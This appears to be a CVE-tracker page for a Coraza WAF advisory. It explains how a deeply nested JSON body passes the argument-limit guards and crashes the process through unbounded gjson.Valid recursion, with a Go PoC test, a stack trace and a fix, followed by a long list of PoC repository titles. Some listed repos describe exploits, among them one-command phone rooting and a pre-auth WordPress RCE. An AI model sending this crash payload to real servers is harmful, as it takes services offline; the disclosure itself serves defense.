### Summary The JSON body processor (`internal/bodyprocessors/json.go`) can be made to crash the whole process with an unrecoverable `fatal error: stack overflow`, using a request body that is well under the recommended `SecRequestBodyLimit` and the default `SecArgumentsLimit`. ### Root cause `readJSON` (json.go:113-143) runs a bounded, best-effort flattening walk (`readItems`) and *afterwards* calls `gjson.Valid(s)` on the raw body if `readItems` returned no error: ```go json := gjson.Parse(s) ... truncated, err = readItems(json, key, maxRecursion, argumentLimit, byteBudget, &usedBytes, &argCount, res) if err != nil { return res, truncated, err } if !gjson.Valid(s) { return res, truncated, errors.New("invalid JSON") } ``` `gjson.Valid` (gjson v1.18.0, `validany` -> `validarray`/`validobject`) recurses once per nesting level with **no depth bound**. `readItems` does have a depth bound (`maxRecursion`), enforced here (json.go:163-182): ```go func readItems(json gjson.Result, objKey []byte, maxRecursion int, argumentLimit int, byteBudget int, usedBytes *int, argCount *int, res map[string][]string) (truncated bool, err error) { if byteBudget > 0 && *usedBytes >= byteBudget { return true, nil // <-- checked first } if argumentLimit > 0 && *argCount >= argumentLimit { return true, nil // <-- checked second } ... if maxRecursion <= 0 { return false, errors.New("max recursion reached while reading json object") } ``` The byte-budget and argument-limit checks run *before* the recursion-depth check, and they short-circuit the walk with `truncated=true, err=nil` instead of recursing further. If the configured `SecArgumentsLimit` (`ArgumentLimit`, default 1000, `internal/corazawaf/waf.go:359`) is reached by earlier, shallow values in the document, `readItems` stops walking *before it ever reaches* a deeply nested tail later in the same document — so the `maxRecursion` error is never produced, `err` comes back `nil`, and `readJSON` falls through to the unconditional `gjson.Valid(s)` call on the complete raw body, including the part `readItems` never visited. This is not a new interaction with the recursion limit itself: at v3.7.0, `gjson.Valid` ran unconditionally before any recursion check at all, so a plain deeply-nested body crashed the process directly. A later fix added a depth check that returns an error before `Valid` runs for the *straightforward* case (nesting reached before any other guard fires). The argument-limit / byte-budget guards added since then (GHSA-6r3q-mjv7-xr8m, GHSA-3ww9-vw83-9w5x) reopened the same crash for the case above, because they short-circuit the walk (and therefore the recursion counter) ahead of the depth check, on both the request and response body path (`ProcessResponse` calls the same `readJSON`, json.go:57-88). Because this is `fatal error: stack overflow`, not a `panic`, it is **not** recoverable by any `recover()` in the calling goroutine — the process terminates unconditionally. ### PoC ```go package bodyprocessors import ( "strings" "testing" ) func TestStackOverflowRepro(t *testing.T) { body := "[" + strings.Repeat("1,", 1000) + strings.Repeat("[", 13_000_000) // 13,002,001 bytes total: under the recommended SecRequestBodyLimit // (13107200, coraza.conf-recommended:78) and default ArgumentLimit (1000, // internal/corazawaf/waf.go:359). _, _, _ = readJSON(body, 20, 1000) } ``` ``` $ go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v runtime: goroutine stack exceeds 1000000000-byte limit fatal error: stack overflow ... github.com/tidwall/gjson.validarray(...) .../gjson@v1.18.0/gjson.go:2584 github.com/tidwall/gjson.validany(...) .../gjson@v1.18.0/gjson.go:2499 github.com/tidwall/gjson.validarray(...) .../gjson@v1.18.0/gjson.go:2589 ... (repeats until the goroutine stack limit is hit) ``` Reproduced against commit `19b86824` (tag `v3.8.0`), both by calling `readJSON` directly and end-to-end through the recommended `coraza.conf-recommended` configuration (JSON `Content-Type`, default `SecArgumentsLimit`, recommended `SecRequestBodyLimit`). ### Impact An unauthenticated attacker who can send an HTTP request body (any endpoint protected by Coraza with the JSON body processor enabled, which is the default for `application/json`) can crash the entire host process with a single request, using a payload well within default and recommended body size and argument-count limits. There is no privilege or interaction requirement, and the crash cannot be caught or mitigated by the integrator (no `recover()` stops a stack-overflow fatal error). This is strictly worse than a CPU-exhaustion or slow-request DoS: the process must be restarted, and every in-flight request/transaction on that process is lost. ### Suggested fix Run an iterative, explicitly-bounded-depth pre-scan (or reuse `readItems`'s own recursion accounting) before calling `gjson.Valid`, and never call `gjson.Valid` on input whose nesting exceeds `maxRecursion`. The response path (`ProcessResponse`) needs the same treatment since it shares `readJSON`. ### AI involvement disclosure - **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code. - **What was generated/assisted:** the initial vulnerability hypothesis and repro shape were supplied by the reporter as an existing written finding; Claude Sonnet 5 independently re-derived the root cause by reading the current source, wrote and ran a fresh PoC test against commit `19b86824` (tag `v3.8.0`), confirmed the crash and stack trace shown above, verified the default configuration values cited (`ArgumentLimit` default, `SecRequestBodyLimit` recommended value) against the current source, and drafted this advisory text. - **Review performed:** reproduced by hand by running the PoC test above with `go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v` against a clean checkout of commit `19b86824`; observed the `fatal error: stack overflow` and stack trace through `gjson.validarray`/`validany`; traced `readJSON`/`readItems` line by line to confirm the guard ordering described above; the PoC was reviewed by a human maintainer (fzipi) before submission of this advisory.
PoC: php2shell-analysis
Analysis and negative control for CVE-2026-109618/109619: which PHP builds still arm, why 8.4.27 does not, and why the chain does not transfer to PHP-FPM. Exploit withheld until 2026-11-25.
PoC: http2shell-CVE-2026-111497
PoC for CVE-2026-111497, a buffer overflow in Google Brotli 1.0.3–1.2.0 that may cause memory corruption, data disclosure, DoS, or RCE when processing crafted compressed data.
PoC: runcloud-php2shell-patch
Build script for PHP (7.2 - 8.1) binaries mitigating PHP2Shell (CVE-2026-109618, CVE-2026-109619) on RunCloud Ubuntu servers.
PoC: CVE-2026-116488
NXP Semiconductors USB middleware <2.13.0 contains a heap buffer overflow in host audio, video and CDC class drivers that trust device-supplied bNumEndpoints and bLength values.
PoC: CVE-2026-91403
Offline Python detector for CVE-2026-91403 certificate indicators in Java trust stores, with fingerprint matching and JSON reports.
PoC: yandex-station-2-s905x2-root
Root shell for the Yandex Station Max (YNDX-0008, Amlogic S905X2, Android 9) via CVE-2022-38181 — a use-after-free in the Mali GPU ▏ driver. Delivers uid=0 into the u:r:kernel:s0 SELinux context over ADB. No firmware modification, no writes to block devices.
PoC: CVE-2026-98260-OnePlus16-PYB110-Jailbreak
CVE-2026-98260 (exec: posix CPU timer UAF) - one-command temporary root for OnePlus 16 (PYB110) from uid 2000 shell, with KernelSU/FinaSU handover
PoC: php2shell-wordpress-rce-fullchain
Pre-auth RCE against WordPress (7.1.2/7.1.3) via PHP2Shell CVE-2026-109618 / CVE-2026-109619
PoC: php2shell-scanner
Audit & Vulnerability Detection Scanner for PHP2Shell (CVE-2026-109618 & CVE-2026-109619) with Hardening Guidelines
PoC: php2shell-wordpress-check
A read-only Site Health check that compares the PHP version your site is running with the releases that fix PHP2Shell (CVE-2026-109618 and CVE-2026-109619)
PoC: CVE-2026-111497
Non-invasive Python detector for CVE-2026-111497 with Brotli/Node.js version checks, JSON inventories, and CI-ready reports.
PoC: AI-Threat-Detection-PHP-CGI-Vulnerabilities
A curated, deep-dive guide to leveraging Artificial Intelligence, Machine Learning, and Large Language Models (LLMs) to detect, analyze, and neutralize advanced web application threats—with a specific focus on recent, critical PHP CGI Argument Injection vulnerabilities (such as CVE-2024-4577) and similar Remote Code Execution (RCE) breaches.
PoC: php2shell-doctor
The safe checker for the php2shell PHP RCEs (CVE-2026-109618/109619). Local, offline, vendor-backport aware.
PoC: node2shell-lab
Node2Shell (CVE-2026-111497, Node.js Brotli decoder OOB write) black-box pentest lab — crash-gated double flag, agent-calibrated. Part of the *2Shell lab series. EN/中文/日本語.
PoC: php2shell-checker
Check whether a website is affected by PHP2Shell (CVE-2026-109618 / CVE-2026-109619)
PoC: CVE-2026-116487
NXP Semiconductors USB middleware <2.13.0 contains an out-of-bounds read vulnerability in USB_DeviceCdcRndisSetCommand() that trusts a host-supplied informationBufferOffset.
PoC: CVE-2026-111497-DotNetBrotliScan
Cross-platform scanner that finds .NET apps, runtimes and Azure App Service / Functions deployments exposed to CVE-2026-111497 (brotli decoder)
PoC: CVE-2023-28771
PoC / exploit archive for CVE-2023-28771
PoC: CVE-2023-37569
PoC / exploit archive for CVE-2023-37569
PoC: CVE-2024-13985
PoC / exploit archive for CVE-2024-13985
PoC: CVE-2026-1281
PoC / exploit archive for CVE-2026-1281
PoC: CVE-2026-22679
PoC / exploit archive for CVE-2026-22679
PoC: CVE-2026-109618-research
Unauthenticated RCE in PHP via session.upload_progress use-after-free (CVE-2026-109618 / CVE-2026-109619)
PoC: work1-api
Work 1 - secure Flask API, CI/CD, CVE-2021-28164
PoC: php-inventory-scanner
PHP2Shell (CVE-2026-109618/109619) exposure scanner — finds unpatched / end-of-life PHP hosts on an internal network. Bilingual, no-dependency Windows tool.
PoC: update-php-cve
Vá PHP2Shell (CVE-2026-109618/109619) và nâng cấp PHP 8.1→8.3/8.4 cho nginx + php-fpm — Ubuntu/Debian và RHEL/Rocky
PoC: php2shell-lab
Local reproduction lab for PHP2Shell (CVE-2026-109618 / CVE-2026-109619): PHP 8.5.11 source-built mod_php target, chunked OOM trigger harness, findings + mitigations. Loopback only.
PoC: Aurora
CVE-2022-2639: Linux kernel openvswitch local privilege escalation.
PoC: CVE-2026-111497
CVE-2026-111497
PoC: CVE-2022-24803
CVE-2022-24803
PoC: php2shell-lab
CVE-2026-109618: Unauthenticated RCE via PHP session upload progress OOM heap corruption (Apache mod_php)
PoC: CVE-2026-106173
Python PoC for CVE-2026-106173 unauthenticated path-traversal file write in FortiSIEM's QueryResult gRPC handler.
PoC: php74-alpine
基于 php:7.4.33-fpm-alpine3.16，应用 PHP2Shell 最小缓解补丁 712e60f9（CVE-2026-109618/109619）重新编译的 PHP 7.4 Alpine 修复镜像
PoC: php54-php2shell-backport
Unofficial backport of the CVE-2026-109618 / CVE-2026-109619 (php2shell) fixes to Ubuntu 12.10 php5 5.4.6-1ubuntu1.8, with chroot build, regression tests, rollback and step-by-step deploy scripts for Apache 2.2 + mod_php. Stopgap only: PHP 5.4 is end-of-life.
PoC: php2shell-mitigation
Read-only scanner and config patcher to detect and work around CVE-2026-109618 / CVE-2026-109619 on PHP, with a full detection and harening manual.
PoC: php2shell-POC
A lightweight, read-only Python script that helps security teams quickly assess whether a PHP deployment may be affected by the PHP2Shell vulnerabilities (CVE-2026-109618 and CVE-2026-109619). It sends **no exploit traffic** and performs **no memory-corruption attempts**.
PoC: php2shell-check
PHP2Shell（CVE-2026-109618 / CVE-2026-109619）远程批量检测工具
PoC: php82-ubuntu2404-backport
PHP 8.2.35 rebuild (CVE-2026-109618 / CVE-2026-109619 fix, no telemetry) for Ubuntu 24.04 hosts running php8.2 8.2.7-1ubuntu1
PoC: CVE-2026-109618-109619-php2shell
CVE-2026-109618-109619 PHP2shell
PoC: php2shellscanner-web
Browser-based terminal-style UI for assetnote's php2shell-scanner (CVE-2026-109618 / CVE-2026-109619), with live per-probe SSE activity log and JSON export. Detection engine by assetnote; original discovery by Calif.
PoC: php2shell-research-public
Reproducible local Docker lab for CVE-2026-109618 PHP-FPM validation
PoC: PHP2shell
PHP2Shell — Unauthenticated RCE chain exploiting CVE-2026-109618 (OOM memory corruption) + CVE-2026-109619 (stale global state) in PHP.
PoC: B63-POC-CVE-2026-20131
CVE-2026-20131 (Cisco FMC): pre-auth Java deserialization to root — VERIFIED-AT-PRIMITIVE showcase artifact (rebuilt twins; appliance not executed, entitlement-gated)
PoC: B63-POC-CVE-2026-75650
CVE-2026-75650 (StyleSmuggler): unauthenticated RCE via template injection in Magento Open Source / Adobe Commerce 2.4.4–2.4.9 — b63 showcase, lab-verified with patched-build negative test
PoC: CVE-2026-98260-pudding-android
Target-specific Android CVE-2026-98260 research port for Xiaomi 17 (pudding)
PoC: node2shell-detector
node2shell-detector - local + network detections for Node2Shell (CVE-2026-111497) by IONSEC. Python CLI: runtime posture, Brotli decoder fingerprints, dependency exposure, log fingerprints, opt-in self-test; plus Sigma, Suricata, ModSecurity, YARA rules and edge/app snippets.
PoC: hdu-is-work1
Secure REST API with CI/CD security scanning (Bandit SAST + pip-audit SCA) and a reproducible CVE-2017-1000028 lab (GlassFish 4.1)
PoC: php81-el7-php2shell
Unofficial CentOS 7 (EL7) rebuild of Remi php-8.1.34-6 with the PHP2Shell (CVE-2026-109618, CVE-2026-109619) mitigation
PoC: sl0ppy-riftscan-CVE-2026-42945
riftscan module for metasploit msf for cve CVE-2026-42945
PoC: CVE-2026-84589-macOS-TCC-Bypass
CVE-2026-84589: macOS TCC privacy bypass via FaceTime impersonation. Technical PoC analysis, Apple disclosure timeline, and patch coverage.
PoC: CVE-2026-101767-POC
CVE-2026-101767-POC
PoC: php2shell-fixer
Claude Code plugin: audit and patch PHP2Shell (CVE-2026-109618/109619) on Debian/Ubuntu PHP servers
PoC: PHP-CVE-2026-115560-Cheker-v-1.0
PHP alerta de CVE-2026-115560 PERO SABES SI TUS SISTEMAS SON VULNERABLES? Bueno amigos hice un script que checa si eres vulnerable y te dice exactamente que parámetros modificar para no estar vulnerable pero la buena noticia es que, según el propio proyecto, se trata de un riesgo poco probable en la práctica.
PoC: test-php
Controlled lab pinned to PHP 8.3.35 for reproducing/patch-verifying PHP2Shell (CVE-2026-109618, CVE-2026-109619)
PoC: CVE-2026-109618
CVE-2026-109618 - PHP session.upload_progress Heap UAF Pre-Auth RCE (CVSS 9.2)
PoC: CVE-2026-109619
CVE-2026-109619 - PHP session.upload_progress File Poisoning + LFI RCE (CVSS 9.2)
PoC: http2shell-check
Offline Brotli / HTTP2Shell (CVE-2026-111497) exposure and inventory checker across verified ecosystems. Python 3.10+, no dependencies or exploit payloads.
PoC: php2shell-behind-nginx
php2shell (CVE-2026-109618/9) behind nginx: measurements, lab, and an app-LFI chain that survives a proxy
PoC: CVE-2026-116106
CVE-2026-116106 - HeyCyan App 1.0.103 (Android) controle de acesso incorreto no FileProvider (CWE-284) - VulDB VDB-426174
PoC: CVE-2026-116105
CVE-2026-116105 - HeyCyan App 1.0.103 (Android) transmissao em texto claro / cleartext transmission (CWE-319) - VulDB VDB-426173
PoC: C-A-S
C.A.S-Exploit — Python-based security research and proof-of-concept toolkit for CVE-2017-5689 (Intel AMT authentication bypass), featuring Shodan discovery, HTTP/WS-Management testing, batch scanning, and vulnerability logging.
PoC: php2shell-monitor-rz
PHP2Shell Monitor - Real-time detection for CVE-2026-109618/109619 exploitation attempts
PoC: msgpack-CVE-2021-23410-test.hpp
the improve SourceInfo UX around server:
PoC: Bigfix-NodeJS-Vulnerability-Scanner-Content-CVE-2026-111497
BigFix YARA-X discovery Fixlets and shared Analysis for Node.js Brotli CVE-2026-111497 on Windows, Linux and macOS.
PoC: php2shell-unchained
Isolated Docker adversary-emulation lab: PHP2Shell (CVE-2026-109618/619, CVE-2026-115560) exploit chains, 11-scenario patch & WAF audit, Sliver C2, Cloudflare Quick Tunnel + Tor egress, guided mitigation validation.
PoC: Root-My-Galaxy-Payloads-SM-S928B
SM-S928B / S928BXXU6EZIF port of the CVE-2026-43499 app payload - work in progress, not yet rooted
PoC: CVE-2026-0073
CVE-2026-0073: Android adbd TLS auth bypass PoC. Exploits a logic bug where OpenSSL's EVP_PKEY_cmp() returns -1 on key type mismatch (EC vs RSA), incorrectly evaluating to true and granting access. Includes functional Python and standalone C exploits to gain unauthenticated remote shell on Android devices with Wireless Debugging enabled.
PoC: CVE-2025-26326
CVE-2025-26326 - vulnerabilidade critica em add-ons de conexao remota do NVDA (recuperado)
PoC: CVE-2024-6387-how-to-fix
Guia de correcao e mitigacao da CVE-2024-6387 (regreSSHion / OpenSSH) (recuperado)
PoC: Cloudflare-Exploits-CVE-2026-14440-CVE-2026-3125-CVE-2025-0651
PoC e exploits para CVE-2026-14440 (Universal SSL CAA Bypass), CVE-2026-3125 (OpenNext SSRF), CVE-2025-0651 (WARP Windows Privesc) | By Gh0st-Bx1
PoC: Bigfix-PHP-Vulnerability-Scanner-Content-CVE-2026-109618-CVE-2026-109619
Bigfix PHP Vulnerability Scanner Content (CVE-2026-109618, CVE-2026-109619) for Windows, Linux and Mac.
PoC: PHP2Shell
A local Docker-based research lab for investigating PHP2Shell (CVE-2026-109618 and CVE-2026-109619), comparing PHP 8.4.26 and 8.4.27, and validating upstream security fixes and regression tests.
PoC: Galaxy-Tab-S10FE-Root
One-command ADB root for Samsung Galaxy Tab S10 FE (SM-X520, X520XXSACZH6): CVE-2026-43499 GhostLock exploit + KernelSU late-load. No bootloader unlock.
PoC: Fortinet-Exploits-CVE-2026-39808-106173-107656
PoC e Exploits completos para CVE-2026-39808 (FortiSandbox RCE), CVE-2026-106173 (FortiSIEM gRPC Path Traversal RCE) e CVE-2026-107656 (FortiSandbox Auth Bypass) - CVSS 9.6-9.8
PoC: bug-free-broccoli
CVE-2026-59248
PoC: php2shell-checker
Check PHP for PHP2Shell (CVE-2026-109618, CVE-2026-109619): fixed PHP and Ubuntu/Debian/AlmaLinux packages, plus a read-only version check script.
PoC: http2shell-checker
Check Node.js, Bun, Python Brotli and libbrotli for HTTP2Shell / Node2Shell (CVE-2026-111497): fixed versions and a read-only version check script.
PoC: CVE-2026-109618-109619-checker
CVE-2026-109618 / 109619 checker
PoC: http2shell
Security research on CVE-2026-111497 (HTTP2Shell): Docker-only differential lab probing the Brotli decoder OOB write across vulnerable/fixed Node builds
PoC: CVE-2026-106781
CVE-2026-106781 CH341SER Driver Installer Privilege Escalation
PoC: CVE-2026-112900-PoC
Proof of Concept (PoC) demonstrating Argument Injection in Pillow's Ghostscript call (Pillow < 13.0.0) potentially leading to arbitrary command execution (RCE).
PoC: Root-My-Galaxy-S4
Root the Samsung Galaxy S4 on official firmware via CVE-2015-1805 & KNOX e-fuse stays intact
PoC: ksu-root
在 REDMI K90 Max（代号 prague / OS4.0.0.14）上，从手机端一键开一个临时 root。利用 CVE-2026-64560（posix-cpu-timers UAF）加载 KernelSU LKM，重启即失效。不需要电脑、不刷机、不解锁 Bootloader。
PoC: CVE-2026-115560
PHP session.upload_progress Enabled - CVE-2026-115560 Precondition
PoC: php2shell
php2shell(CVE-2026-109618 / CVE-2026-109619) EXP
PoC: cve-2026-98260-vivo-gki-research
Research notes: porting CVE-2026-98260 to vivo/iQOO GKI 6.6.127 (no exploit code; coordinated disclosure planned)
PoC: brotli-cve-check
Agent skill + script to scan projects for CVE-2026-111497 (Brotli), rate criticality and suggest fixes
PoC: php2shellX
Next-generation exploit orchestrator for CVE-2026-109618/619 — adds Cloudflare WAF bypass, flexible target specification (URL/host/port/path/batch), multi-format output (JSON/CSV/table), resume capability, and lab automation (Docker restart). Authored by TESTERXMA.
PoC: a12-ghostlock
One-click root for the Samsung Galaxy A12 (SM-A125F) via CVE-2026-43499 (GhostLock) - KernelSU-compatible userspace stack, grant dialog, verified root in Neo Backup / App Manager / Shizuku
PoC: o3root
Shizuku-driven CVE-2026-98260 root + KernelSU runtime LKM loader for Xiaomi yingtian / lhasa (kernel 6.18.21)
PoC: homebrew-php2shell-doctor
Homebrew tap for php2shell-doctor - the safe checker for the php2shell PHP RCEs (CVE-2026-109618/109619)
PoC: php-fpm-docker-PHP-7.4-CVE-2026-109618-109619-free
php:7.4-fpm-CVE-2026-109618-109619-free
PoC: cve-2026-25262-poc
CVE-2026-25262 (Qualcomm BootROM) deep-dive on the Black Hat Asia 2026 'A journey through Sahara' talk + read-only Sahara/EDL recon harness. GPLv3.
PoC: CVE-2026-74580
CVE-2026-74580 vhost: reset the vring metadata cache on vring reconfiguration - Exploit
PoC: php2shell
Патчи безопасности и сканер аудита для FastPanel и Debian PHP против уязвимостей CVE-2026-109618 и CVE-2026-109619 (PHP 5.2–8.1). Пошаговые руководства по сборке.
PoC: log4shell-audit-4
Quarterly security briefing research notes and remediation tracking for Log4Shell (CVE-2021-44228).
PoC: CEV-2020-25213_wp-file-manger_exploit
CVE-2020-25213 - Unauthenticated RCE exploit for WP File Manager plugin (≤ 6.0) | Educational purposes only
PoC: php-vulns-discovered-23-10-2026
Patch temporanee per sistemi con versioni di PHP inferiori a 8.2.35 contro CVE-2026-109618 - CVE-2026-109619 - CVE-2026-115560
PoC: CVE-2026-109618-php56-public
Exact-build PHP 5.6 research and reproducible labs for CVE-2026-109618 and CVE-2026-109619
PoC: Compiled-CVE-2023-21752
Compiled version of Wh04m1001's exploit for iwr/wget delivery to VM.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Get alerted for CVEs like this
Register your stack and get notified within minutes when a matching CVE drops.
Start monitoring free